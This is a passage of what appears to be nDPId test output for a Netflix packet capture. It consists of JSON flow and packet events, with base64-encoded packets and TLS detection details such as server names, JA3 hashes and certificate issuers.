wMTAxMTIzMDAwWjCBmTEtMCsGA1UEAxMkUHJpbWFyeSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgKDIwMDkpMRMwEQYDVQQIEwo="} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":25,"source":"netflix.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":6,"flow_first_seen":1484319032896,"flow_last_seen":1484319033008,"flow_tot_l4_data_len":2177,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53114,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +00530{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":15917,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/wQpAAEAGtIjAqAEHNkXM8c9xAbuJGKlUNDLND4AYEABO9QAAAQEICh9kuKOFp0\/pFgMDAEYQAABCQQRGXfM2PQ1mupDNBFEH8j6WAK2zq8WgkYKYMxwTNcPvlN2we7WlKHt\/s7jgF\/EmIzf4sZcCYC49GI1iSb8wh9D7"} +00432{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":16218,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6VIZAAEAGIVLAqAEHNkXM8c9xAbuJGKmfNDLND4AYEADXBQAAAQEICh9kuKOFp0\/pFAMDAAEB"} +00486{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":16595,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABhX3FAAEAGFkDAqAEHNkXM8c9xAbuJGKmlNDLND4AYEACNxAAAAQEICh9kuKOFp0\/pFgMDACgn42dNpJV+legxgesXmmgFh+L2+LuQoZEeOdDCZEGvW37mfo5zGyng"} +01883{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":17833,"pkt_caplen":1146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1146,"pkt_l4_len":1112,"pkt":"5JjWH70UgCqoTGHMCABFIARsFjFAACkGLZo2vxEzwKgBBwG7z3pSqTVGuzQ1N4AYAD23hQAAAQEICq2KObUfZLhuQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClPiFZwHhqw9wmYrruaK5lM2jxb7OnG1xOPDkmSt9ostlHBuuEIpSAegeSu5IfyCw3LHZ5HEtbube7+v\/KvRUK5l\/8E0dgm2kIkuwXCInrxOb8Vue1EwYiVMbipMtTVxaqzqdYnzqFFOOaTfiiHdtDWwp3jjKl188E9wc5el6k667OBUw7VTGI1M30wgKX7rU1qB+D91fdnRNVb90uSyhuGgXw1LaZpqNyQ9UU0bMQcwmLcmoY3NWdMMN4j0Fw11owmtXswG41YKRxcm9yJjbyyDmry1mVF9Ri9GMcR5I+VveQudxyLML\/0PMTT+qCooHPhnMm\/zY9AEn0tmAkD70jAgMBAAGjQjBAMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdDgQWBBSDO61ps1sc09o7yU8FcxnCKorw\/zANBgkqhkiG9w0BAQUFAAOCAQEAPX7Vj0zBi5fWHkB\/U5GnVLqaRStn52gTsUPoxmVjareLMMkMSrAGtP8CHGMLLrjOh9GFMjrsJM6Q+mLzAhMhpmvZPRAM4kzXdAYTLRWD4dxyYCkG2sjDdGTYdO7AfokcOnu5kypA0bdWe8KcZVFjpw8f+ACSkxjkgL+lk0kWZf+uiCojU3Wt9O\/Z8+xm1PIbBOEfirH+o8gWESD86CiOqZH9cFmSjXziHHxIo4mgCTt9Jse8h8gkDJE2wQTeq3ttX1P5eyrHphoXtwy2Wtx77US+s5J0di17tOPKnQFd35Ew\/l0PWFqar2MQ46R\/UU15UR68hb86jgCQplA8NeBZoBYDAwFNDAABSQMAF0EEr3RSXEkjHtfIqWMkfAqdU9d2nJiJRZNuTwnWmlfOFK4Bj36CrnORHVgqktgwO17Wp6i3wIytK6HznXXPxu7hXgYBAQAmDndKmU9E5r+pOzA1cE9\/m+Iu48K6MWu1gQAK7QZznU6GLfiUU05z8eOW9j+V4BLBSp4ksWNTOKvkcu0l\/Ud8K535Y0mhi+cGUJZBMcuP6ngN4+4OqIx73QBYHs6xbxDxNRfLr8qrACzX0KuRgjbMjyWDCtA1Ry491BHCCa4a47dMywiLzh8SCwK5NemlOC6whX6Zyv0QMppZ+RBzG5JBxJEZCYaKW5gWUaakX6VTxfzD8hZ9m7AqCRJy+NRD3cNnFEl0oOSRbNUAMgwdrdUTCHHfOi6MHNqie7P9UDKCTwSmh\/E8jt1U7VCOXUN5NEpSdaNKhNIHTO\/GUFTI8LtdFgMDAAQOAAAA"} +01154{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":29,"source":"netflix.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":7,"flow_first_seen":1484319032896,"flow_last_seen":1484319033017,"flow_tot_l4_data_len":3289,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":469,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.191.17.51","src_port":53114,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","server_names":"*.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"CN=Primary Certificate Authority (2009), ST=California, C=US, O=Netflix Inc, OU=Electronic Delivery, L=Los Gatos","issuerDN":"CN=*.nccp.netflix.com, O=Netflix, Inc., OU=Operations, C=US, ST=California, L=Los Gatos","fingerprint":"97:F6:63:95:8F:F2:5E:E0:80:12:5A:FD:BF:B2:EB:FE:A2:FE:72:33"}} +00422{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":22403,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA01YhAAEAGW5rAqAEHNr8RM896Abu7NDU3Uqk5foAQD95QKQAAAQEICh9kuKetijm1"} +00434{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":29291,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGl6g0IMQkwKgBBwG7z3ve3c1cx8tKb6ASRepkbwAAAgQFtAQCCAq2m8VuH2S4hgEDAwg="} +00593{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":30423,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"gCqoTGHM5JjWH70UCABFAACy3ctAAEAGUtnAqAEHNr8RM896Abu7NDU3Uqk5foAYEACA0wAAAQEICh9kuLCtijm1FgMDAEYQAABCQQSlqr0xNpnacE6ELvDZ+JSxgy1oqaUIb9LpTwTuQb3NX8au0ELwSerfbzVcCfcT1W6ukBuohqc8njeNdQflsylXFAMDAAEBFgMDACjJLG94e4Y1Vf+ycBdcegBzLfyAAsaK+DH8iXm2e5h2XIZJhwqCnPkr"} +00434{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":32121,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGlqg0IMQkwKgBBwG7z3xLWYWT8HlNLKASReoUTgAAAgQFtAQCCAq2m8VvH2S4iAEDAwg="} +00423{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":32720,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0rMBAAEAG1A\/AqAEHNCDEJM97AbvHy0pv3t3NXYAQEBXI5wAAAQEICh9kuLC2m8Vu"} +00739{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":33170,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":298,"pkt_l4_len":264,"pkt":"gCqoTGHM5JjWH70UCABFAAEc3y1AAEAGoLrAqAEHNCDEJM97AbvHy0pv3t3NXYAYEBXi\/gAAAQEICh9kuLK2m8VuFgMBAOMBAADfAwNYeOk5dpq52Q92jK0dByt7moyBAevty9H6iponk2lhXQAAJgD\/wCzAK8AkwCPACsAJwDDAL8AowCfAFMATAJ0AnAA9ADwANQAvAQAAkAAAABsAGQAAFmFwaS1nbG9iYWwubmV0ZmxpeC5jb20ACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDM3QAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEABQAFAQAAAAAAEgAAABcAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":35,"source":"netflix.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1484319032984,"flow_last_seen":1484319033033,"flow_tot_l4_data_len":380,"flow_min_l4_data_len":32,"flow_max_l4_data_len":264,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53115,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00422{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":38452,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0iIJAAEAG+E3AqAEHNCDEJM98AbvweU0sS1mFlIAQEBV4xgAAAQEICh9kuLK2m8Vv"} +00738{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":38729,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":298,"pkt_l4_len":264,"pkt":"gCqoTGHM5JjWH70UCABFAAEcC4pAAEAGdF7AqAEHNCDEJM98AbvweU0sS1mFlIAYEBVXdAAAAQEICh9kuLS2m8VvFgMBAOMBAADfAwNYeOk5CCoWDbSK0ezQ7KNuUeOfkDpWv85W1iHK1VuIfQAAJgD\/wCzAK8AkwCPACsAJwDDAL8AowCfAFMATAJ0AnAA9ADwANQAvAQAAkAAAABsAGQAAFmFwaS1nbG9iYWwubmV0ZmxpeC5jb20ACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDM3QAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEABQAFAQAAAAAAEgAAABcAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":37,"source":"netflix.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1484319032986,"flow_last_seen":1484319033038,"flow_tot_l4_data_len":380,"flow_min_l4_data_len":32,"flow_max_l4_data_len":264,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53116,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00425{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":61332,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0jv9AACkG\/b42RczxwKgBBwG7z3E0Ms0PiRippYAQAEv+tAAAAQEICoWnT\/sfZLij"} +00497{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":65980,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnjwBAACkG\/Yo2RczxwKgBBwG7z3E0Ms0PiRip0oAYAEtP4gAAAQEICoWnT\/wfZLijFAMDAAEBFgMDACiFeT4UbktU\/FnZZzeV\/nmTIZwANauoeDfM3VXJTPDJdsacY2okvT1Z"} +00494{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":76471,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnFjJAACkGMZ42vxEzwKgBBwG7z3pSqTl+uzQ1tYAYAD2kIQAAAQEICq2KOcYfZLiwFAMDAAEBFgMDACgz4sNc9LlmbMt2PFkOyQvUQufypjjQ5Y9WfiXcGiqT\/8ELdIluxzbA"} +00425{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":80492,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0SWNAAEAG57\/AqAEHNr8RM896Abu7NDW1Uqk5sYAQD\/5PEgAAAQEICh9kuNytijnG"} +02395{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":82590,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXci85AAEAGn6zAqAEHNr8RM896Abu7NDW1Uqk5sYAQEADzwwAAAQEICh9kuN+tijnGFwMDBeLJLG94e4Y1VtW0mhnEzvtld5YhEWPyLyaoAF1O0WCxB\/IKZ\/qQ3j99zsK2T9k0srO7hUhBKTtrkTZ43P+YFbGxWkrTgT30+nH0Os82tutRmAXi8vuFYV0X2bxCngPt4wFdharzxrhj2dy9DclGhLtTUlP3o6AVbANI87UjQjeCiCdO8vD8oaCiYyg5uY1SS5DhyXjPgt9h5oMr\/13k344\/44+QVvIXOpZ3rYYcwkCYaOByc0tg\/bBxsNm+Aq+fY5YXBha+s\/JuqWXsMGT88krH5xRH\/N6i1cv0kPHMHpSp+VKygSKRFFI77An+qyaDqPBHzNHHUNSIfGY3l+Bau77jxlV5rCSjmDJhZos5XcBzJjuQBWTKgD\/P290tcc4\/yzlOcY53hqEhnvm6lZoX9tqKZuC9yicjxVioKdSQvp+ZaE1jlcnOMr\/zoKnNUuVbwHgIg+pmpDW5zCRN16VS9SCAJVsCgkqchRdRAGvuZkGeTyQUAy6lq4aYowkuRZVoEQiXMNSxaGDUpxIILDYN4ppN70xsnFdTpzNWYWohu+SpHBdNb2S7BUTyxGcpFm10ig+Vd1icB4N7Aj2w6esrgotXuxddeLKn3iogiEdPoRUUujSa3oli5RtCU6nKmVfToQmVT6xFm65cL0GKejD7cbVekCWqo9J0V\/LgrsQDS4EN1xVzng+jZMkYsHPIqXQi4XNRhYh6kuyKiI4Tw8Ljsczf++ap2bMKl1lMA0WqdEtgSygyUE9LpL89tekACgBhMytZc0EeJPrpGjOJaJvt6XL+37iDtxAnKFvlxkYz8D6kwf9kzkzm9zv2sJnye3YFBdNXP8qnHQvtzTmlvjZIQubd4JzWonHQeUFsnx1ft9VfcCtpEruH1yJhIeniD9LGT\/zQqYWx64qepK9EU2k4WVC4C\/nvPj4CNcWDTeIhcRfRx6MYYs+tF7BSoJW6bNTRm0k1pJU89dgQ0Vj5u1BNB6qK1+PkBCkD6slrSMExgU8t5qtBbpzfMrYIFyh1j4\/Asqq\/IwacWf6G7Kw3E13NDeEkcPQGjVVX5cYiuCA+m962LLjLJcZFCXRrGIbZJiuYdFfHpMjs6CpC3i588HM9L\/oR4Y9ci381HTMoAgpzuRSWf1\/o8AV+vLKrXgAA3OuFSzrJgb92xjUv28VigKDy56B7MBorTHSCB+H4vYcnFdBzbx440d1s3rFDd\/26YALzNOY9RolJufaInXOGoZZrWf2\/07TH29Pu4JjPEcI\/vs9eEphGcgLMdMHJlcATzZMUjLvNMgo5lXLTu6x3MtvD3SvXKraCVWujgWKSo0al7I1\/\/tTqXZtNGuiLuKiYHT4IZf+RlHBVuerBdmN+3PcMw4g2ph5LUvod2klRzV3IoTGqd8Pazl\/hrHoXyBc6ju63ZCK8QRzlb5ktvaRrEYUSkkKUiQ+LFw40AQ48hw8InNLJcbTpl+jO4bOiMzuvUiEodckFLTWdjDuaiqdyq66hKZT4C0JxLDPimfsnBh1n+xUn3BLMxpTM3toMEeaFSMnBwYiZVekS1SwzD4KyHDGoPZABgyDiYdPbjnS4cIHw2LcXkOylsYAiXwyHcGI7y0+JOnlL0rd5D119zGC\/y7LaGMpjvfCPfdXXyM2fwxvqbwXcCKUVvcX5FVgsEnAukJ+o4cyGWt\/CsSvpnDrYU8KyTL9XBgFbfVLtB1WPIO3w9Ly2II5C\/D4UNpdeEIgyCBX7EXihm3dV\/5FycB\/qu\/fvB2d7yydSfCArsC4nhxxOFF\/\/IdZ3A1gTgbWPEObCfgNXH+SPKKxiEgFL+HZkZzWOpqaWwAewEYbj4iB3C4pzbcApVolMBNhrek2cVPe8xZHWojV70HxSzTsap\/TM\/LMOrkX4IVi9CEoJz4pgPNu7a48T7O\/l0HkjG4JMtGF3aW3640QTVC0="} +00510{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":82910,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"gCqoTGHM5JjWH70UCABFAABzIp1AAEAGDkfAqAEHNr8RM896Abu7NDtdUqk5sYAYEAD+cQAAAQEICh9kuN+tijnGVpk9YNxK4YqQ\/n+0u72boo9tMBbsGvzE8F7EB8NFgAStlBdAlGqGOnP7RnQfi3oGwRm+y4OvSPn28fD3lMD0"} +00422{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":84527,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0CCZAACkGj4o0IMQkwKgBBwG7z3ve3c1dx8tLV4AQAEvXuQAAAQEICrabxXwfZLiy"} +02365{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":86430,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcCCdAACkGieE0IMQkwKgBBwG7z3ve3c1dx8tLV4AQAEtptQAAAQEICrabxX0fZLiyFgMDAFkCAABVAwNYeOk50jr3t7RuUd6NuEmyuTMEM04nFuwm3PpssPiqZSBWLEL7mQRMMcaBC1F+lWnOx+fqhp3XmUAyc5sg8zTJF8AvAAAN\/wEAAQAACwAEAwABAhYDAwpTCwAKTwAKTAAFLTCCBSkwggQRoAMCAQICEEyDi0+FfvCSTifwFgngw9wwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQHDAlsb3MgZ2F0b3MxFjAUBgNVBAoMDU5ldGZsaXgsIEluYy4xDDAKBgNVBAsMA09wczEYMBYGA1UEAwwPYXBpLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr0Z0vVg0+uwRnQgMqpd9ZwS7jp+haqVMWt\/aP2iVEz0YnjzxpK71leEdLOvCa7xXvw6qvgJgviQpWWaZLbuMx4dZ0wdQrWbFtuiNWVROO9UKlOR7zkSpBQBHjL8PDMR8GxjYhY0z9ub1P+ar3lsbL0PqJTXnpC4+5jliGtK7hBDnRBzIyN17GbPKT0EY9qzw2OhysiseSVIpeA2uTMsdjCuCJ8U2+vpz4RKQMVBcZpbGTOowLQya0VARHJxNv8MoepZLmqpbClDmpaWt6xW2h2cjWruIsD\/YQ7jbkhDSwodDubij58Mu5BWLQ+l4PPUsjmGAv3yZxbVcRpS6Wlm4uQIDAQABo4IBqTCCAaUwgbMGA1UdEQSBqzCBqIIVYXBpLWxhdGFtLm5ldGZsaXguY29tghRodG1sdHZ1aS5uZXRmbGl4LmNvbYISYXBpLWV1Lm5ldGZsaXguY29tghJ1aWJvb3QubmV0ZmxpeC5jb22CFmFwaS1nbG9iYWwubmV0ZmxpeC5jb22CFGFwaS11c2VyLm5ldGZsaXguY29tghJhcGktdXMubmV0ZmxpeC5jb22CD2FwaS5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQAdulHmLmvIdudqnSfhfmUEAkyAOEjgZ6H0k6BxmsH9zCQp6kh2Gn+6dw6yfgP+i+rrY5dJH59AnS0VSYm9l6Z2Q+oxBW3bKnGXHyAdm+pn0xnaoyVjvtsX5c1CZkwU+uzR+tLsC8xb0LDX0GTepgBR9Gv6C4+xg9+2VPA+fWZFwOvKONHO7uIp4D+u7Hmp1WMg8XA8cm2R59JkzTy56a2qikZCBk0Iiv6tg1u4MVCfWygHnmBNLR0RYC6LqagZzsJF6hfv7jbweV24LQUbdNELDCtEH0VUYn5jzB7SmHZg8RPHU5ZesfRgzs6ULuupnucw3hatgscIhcAN2cOcz9cQAAUZMIIFFTCCA\/2gAwI="} +00819{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":48,"source":"netflix.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":6,"flow_first_seen":1484319032984,"flow_last_seen":1484319033086,"flow_tot_l4_data_len":1892,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":315,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53115,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} 